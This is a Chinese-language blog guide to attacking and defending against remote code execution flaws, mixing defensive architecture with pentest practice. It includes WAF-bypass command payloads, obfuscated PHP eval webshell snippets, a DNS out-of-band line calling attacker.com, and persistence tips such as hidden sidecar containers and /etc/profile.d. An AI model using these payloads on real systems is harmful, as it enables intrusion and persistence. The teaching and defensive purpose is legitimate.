1. RCE漏洞攻防实战指南
最近在排查某次安全事件时,发现攻击者利用了一个陈旧的Struts2 RCE漏洞入侵系统。这让我意识到,很多开发人员对RCE漏洞的理解仍停留在"远程执行命令"这个简单定义上。实际上,现代RCE攻击已经发展出数十种变形和绕过方式。今天我就结合自己这些年遇到的真实案例,系统梳理RCE漏洞的攻防要点。
RCE(Remote Code Execution)作为OWASP Top 10常客,本质上是通过漏洞实现远程代码执行。但不同语言、不同环境下的利用方式千差万别。比如PHP的pcntl_exec函数导致的RCE,与Java反序列化产生的RCE,在利用链构造上就完全不同。理解这些差异,才能做好针对性防护。
需要模型API调用? 免费领10W Token,多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. RCE漏洞核心原理剖析
2.1 常见RCE触发场景
从技术实现来看,RCE漏洞主要产生于以下场景:
- 系统命令拼接(如Java的Runtime.exec、PHP的system)
- 反序列化漏洞(如Apache Commons Collections)
- 模板注入(如Freemarker、Velocity)
- 动态代码执行(如PHP的eval、Python的exec)
- 文件上传+包含组合(如上传webshell)
以最近爆出的Nexus3后台RCE为例,其本质是未对用户输入的Maven坐标进行过滤,导致可以通过特殊构造的groupId触发Groovy脚本执行。这种漏洞往往需要结合具体业务场景才能发现。
2.2 典型利用方式对比
下表对比了几种常见RCE利用方式的特点:
| 类型 | 典型函数 | 过滤难点 | 常见绕过方式 |
|---|---|---|---|
| 命令注入 | Runtime.exec() | 空格/管道符过滤 | 编码转换、${IFS}替换 |
| 反序列化 | readObject() | 黑名单不全 | 利用链组合、二次封装 |
| 模板注入 | render() | 沙箱逃逸 | 反射调用、类加载 |
| 动态执行 | eval() | 关键词检测 | 字符串拼接、异或运算 |
3. RCE实战检测与绕过技巧
3.1 基础检测方法论
在CTF比赛和实际渗透中,我总结出RCE检测的三步法:
-
输入点探测:重点关注以下参数:
- 文件上传接口的filename参数
- 模板渲染接口的template参数
- 系统管理接口的command参数
- 反序列化操作的input参数
-
Payload构造:根据环境选择测试向量:
bash复制# Linux下常用测试命令 whoami; id; uname -a # Windows下常用测试命令 ver & whoami & systeminfo -
回显判断:通过以下方式观察响应:
- 直接命令输出
- DNS外带查询
- HTTP请求日志
- 延时判断(如sleep 5)
3.2 高级绕过技术实录
在实际遇到WAF防护时,这些绕过技巧很实用:
案例1:命令注入绕过
python复制# 原始payload
/bin/ls -al
# 绕过方式1:变量拼接
a="/bin/l";b="s";$a$b
# 绕过方式2:编码转换
`echo "L2Jpbi9scw==" | base64 -d`
案例2:PHP动态执行绕过
php复制// 原始payload
eval($_GET['cmd']);
// 绕过方式1:字符串反转
eval(strrev('d1mh_teG$['));
// 绕过方式2:create_function
$f = create_function('',$_POST['code']);$f();
4. 企业级防护方案设计
4.1 防御体系分层建设
根据OWASP建议,我为企业设计的RCE防护体系包含:
-
输入层:
- 使用SafeEval等沙箱执行动态代码
- 命令执行白名单机制(如仅允许/bin/ls等)
-
代码层:
- 禁用危险函数(如PHP的pcntl_exec)
- 反序列化时实现严格的类型检查
-
系统层:
- 部署RASP实时监控危险操作
- 使用Seccomp限制系统调用
4.2 若依框架RCE漏洞修复实例
去年协助某公司修复若依框架RCE时,我们采取了以下措施:
- 过滤所有用户输入的
.和$字符 - 重写Jackson反序列化逻辑,添加类白名单
- 在Filter层拦截异常的Content-Type请求
- 部署基于行为的WAF规则,监控异常命令执行
修复后需要特别注意业务兼容性,我们通过以下测试用例验证:
java复制// 正常业务请求测试
mockMvc.perform(post("/api").content("正常JSON"))
// 攻击payload测试
mockMvc.perform(post("/api").content("{恶意序列化数据}"))
5. 新型RCE漏洞研究
5.1 云原生环境下的RCE演变
随着Docker/K8s的普及,新型RCE攻击呈现以下特点:
- 利用容器逃逸获取宿主机权限(如CVE-2019-5736)
- 通过K8s API未授权访问执行集群命令
- 针对Serverless环境的冷启动漏洞攻击
最近分析的Dokploy RCE就是典型例子,攻击者通过构造特殊的docker-compose.yml文件,在服务部署阶段实现权限提升。
5.2 IBM i系列特殊RCE案例
在协助某金融客户加固IBM i系统时,发现其特殊的RCE风险点:
- QSHELL环境下的命令注入
- CL程序中的STRQSH命令滥用
- 数据库存储过程中的JAVA存储过程执行
防护时需要特别注意IBM i的权限体系设计,合理配置*ALLOBJ等特殊权限的使用范围。
6. 渗透测试中的RCE技巧
在真实渗透测试中,这些经验非常实用:
-
信息收集阶段:
- 扫描Web应用的/actuator/env端点
- 检查Jenkins、Nexus等管理后台版本
-
漏洞利用阶段:
bash复制# 使用DNS验证无回显RCE curl http://target/?cmd=nslookup%20attacker.com # 分块传输绕过WAF echo -e "1\nA\n0\n\n" | nc target 80 -
权限维持阶段:
- 写入计划任务时使用随机文件名
- 在Docker环境创建隐藏的sidecar容器
最近一次红队行动中,我们通过Redis未授权访问实现RCE后,利用crontab持久化时发现目标系统有监控,最终改为写入/etc/profile.d成功维持权限。
